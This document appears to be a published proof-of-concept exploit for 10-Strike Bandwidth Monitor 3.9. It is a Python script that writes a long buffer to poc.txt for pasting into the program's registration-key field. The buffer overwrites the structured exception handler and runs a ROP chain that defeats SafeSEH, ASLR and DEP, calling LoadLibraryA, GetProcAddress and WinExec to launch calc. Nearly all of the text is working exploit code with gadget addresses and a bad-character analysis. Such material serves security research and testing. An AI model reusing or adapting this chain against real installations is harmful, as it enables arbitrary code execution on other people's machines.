10-Strike Bandwidth Monitor 3.9 – Buffer Overflow (SEH) (ASLR + DEP Bypass)

# Exploit Title: 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH,DEP,ASLR)

# Exploit Author: Bobby Cooke

# Date: 2020-07-07

# Vendor Site: https://www.10-strike.com/

# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe

# Tested On: Windows 10 - Pro 1909 (x86)

# Version: version 3.9

# Exploit Details:

# 1. Bypass SafeSEH by overwriting the Structured Exception Handler (SEH) with a Stack-Pivot return address located in the [BandMonitor.exe] memory-space; as it was not compiled with the SafeSEH Protection.

# 2. The Stack-Pivot will land in a RET Sled; as the process's offset on the Stack is different every time.

# - StackPivot lands at a different offset, 1:660; 2:644; 3:676; 4:692; 5:696; 6:688; 7:692

# 3. Bypass Address Space Layout Randomization (ASLR) & Data Execution Protection (DEP) using Return Orientation Programming (ROP), choosing Gadgets from the [ssleay32.dll], [BandMonitor.exe], and [LIBEAY32.dll]; as they are not compiled with Rebase or ASLR.

# 4. A pointer to the LoadLibraryA symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call LoadLibraryA and find the memory address of the [kernel.dll] module; as it is protected by ASLR and will be different every time the process runs.

# 5. A pointer to the GetProcAddress symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call GetProcAddress to find the memory address of the WinExec Symbol within [kernel32.dll].

# 6. Use Gadgets to call the WinExec Function and open calc.

# - Bad Characters: \x00 => \x20 ; \x0D & \x0A => Truncates buffer

# Recreate:

# Turn On DEP: This PC > Properties > Advanced System Settings > Advanced > Performance > Settings > Data Execution Prevention > "Turn on DEP for all programs and services except those I select:" > OK > Restart

# Install > Run Exploit > Copy buffer from poc.txt > Start BandMonitor > Help > Enter Reg Key > Paste > Exploit

# -------------------------------------------------------------------------------------------

# -------------------------------------------------------------------------------------------

import struct

OS_retSled = '\x41'*400

retSled = '\x24\x01\x06\x11'*100 #11060124 # retn [LIBEAY32.dll] {PAGE_EXECUTE_READ}

def createRopChain():

ropGadgets = [

# HMODULE LoadLibraryA( LPCSTR lpLibFileName);

# $ ==> > 1106905D CALL to LoadLibraryA

# $+4 > 012428B4 FileName = "kernel32.dll"

0x012126f5, # POP EAX # RETN [BandMonitor.exe]

0x110e70bc, # kernel32!loadlibrarya [LIBEAY32.dll]

0x110495ef, # JMP [EAX] [LIBEAY32.dll]

0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll]

0x012428B4, # &String = "kernel32.dll\x00"

# EAX&ESI = &kernel32.dll

# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);

# $ ==> > 011D53D2 CALL to GetProcAddress

# $+4 > 76C40000 hModule = (KERNEL32)

# $+8 > 0014F6CC ProcNameOrOrdinal = "WinExec"

0x01226010, # PUSH ESP # AND AL, 4 # POP ECX # POP EDX # RETN [BandMonitor.exe] - [move esp -> ecx]

0xfffff2D4, # EDX = Offset2String; ECX = ESP

0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - eax=esp & ecx = "kernel32.dll\x00"

0x11061ea7, # sub eax, edx # ret [LIBEAY32.dll]- eax=&String="WinExec\d4"

0x1106905d, # push eax # pop esi # ret [LIBEAY32.dll] - ESI&EAX="WinExec\d4"

0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,

# (INC EAX # RETN)*7 [LIBEAY32.dll]

0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="WinExec\x00"

0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="WinExec\x00"

0x11084dca, # xchg eax, edx # ret [LIBEAY32.dll] - EDX="WinExec\x00"

0x012126f5, # POP EAX # RETN [BandMonitor.exe]

0x110e708c, # kernel32!getprocaddress [LIBEAY32.dll]

0x1109cdb9, # mov eax, ds:[eax] # ret [LIBEAY32.dll] - EAX = &GetProcAddress

0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax

0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - ECX=&KERNEL32.WinExec

0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup

# Call WinExec( CmdLine, ShowState );

# CmdLine = "calc"

# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window

0x0106a762, # INC ESI # RETN [BandMonitor.exe] - ESI="calc\x"

0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\xff"

0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] - EAX&ESI="calc\xff"

0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*4 [LIBEAY32.dll]

0x01226014, # POP EDX # RETN [BandMonitor.exe]

0xffffffff, # dl = 0xff

0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="calc\x00"

0x01218952, # NEG EDX # RETN [BandMonitor.exe] - EDX=0x01 = SW_SHOWNORMAL

0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\x00"

0x1102ce1f, # xchg eax, ecx [LIBEAY32.dll] - ECX="calc\x00" = CmdLine - EAX=&KERNEL32.WinExec

0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax

0x11060124 # retn [LIBEAY32.dll] - ROP NOP

]

return ''.join(struct.pack('<I', _) for _ in ropGadgets)

ropChain = createRopChain()

OS_nSEH = '\x43'*(4188-len(OS_retSled+retSled+ropChain))

nSEH = '\x44'*4

# Stack pivot offset to controllable buffer: 1408 (0x580) bytes

SEH = '\x70\x28\x21\x01' # 0x01212870 : {pivot 2064 / 0x810}

WinExec = '\x57\x69\x6e\x45' # WinE

WinExec += '\x78\x65\x63\xd4' # xec.

calc = '\x63\x61\x6c\x63' # calc

calc += '\xff\x42\x42\x42' # ....

extra = '\x44'*2000

buffer = OS_retSled + retSled + ropChain + OS_nSEH + nSEH + SEH + WinExec + calc + extra

File = 'poc.txt'

try:

payload = buffer

f = open(File, 'w')

f.write(payload)

f.close()

print File + " created successfully"

except:

print File + ' failed to create'

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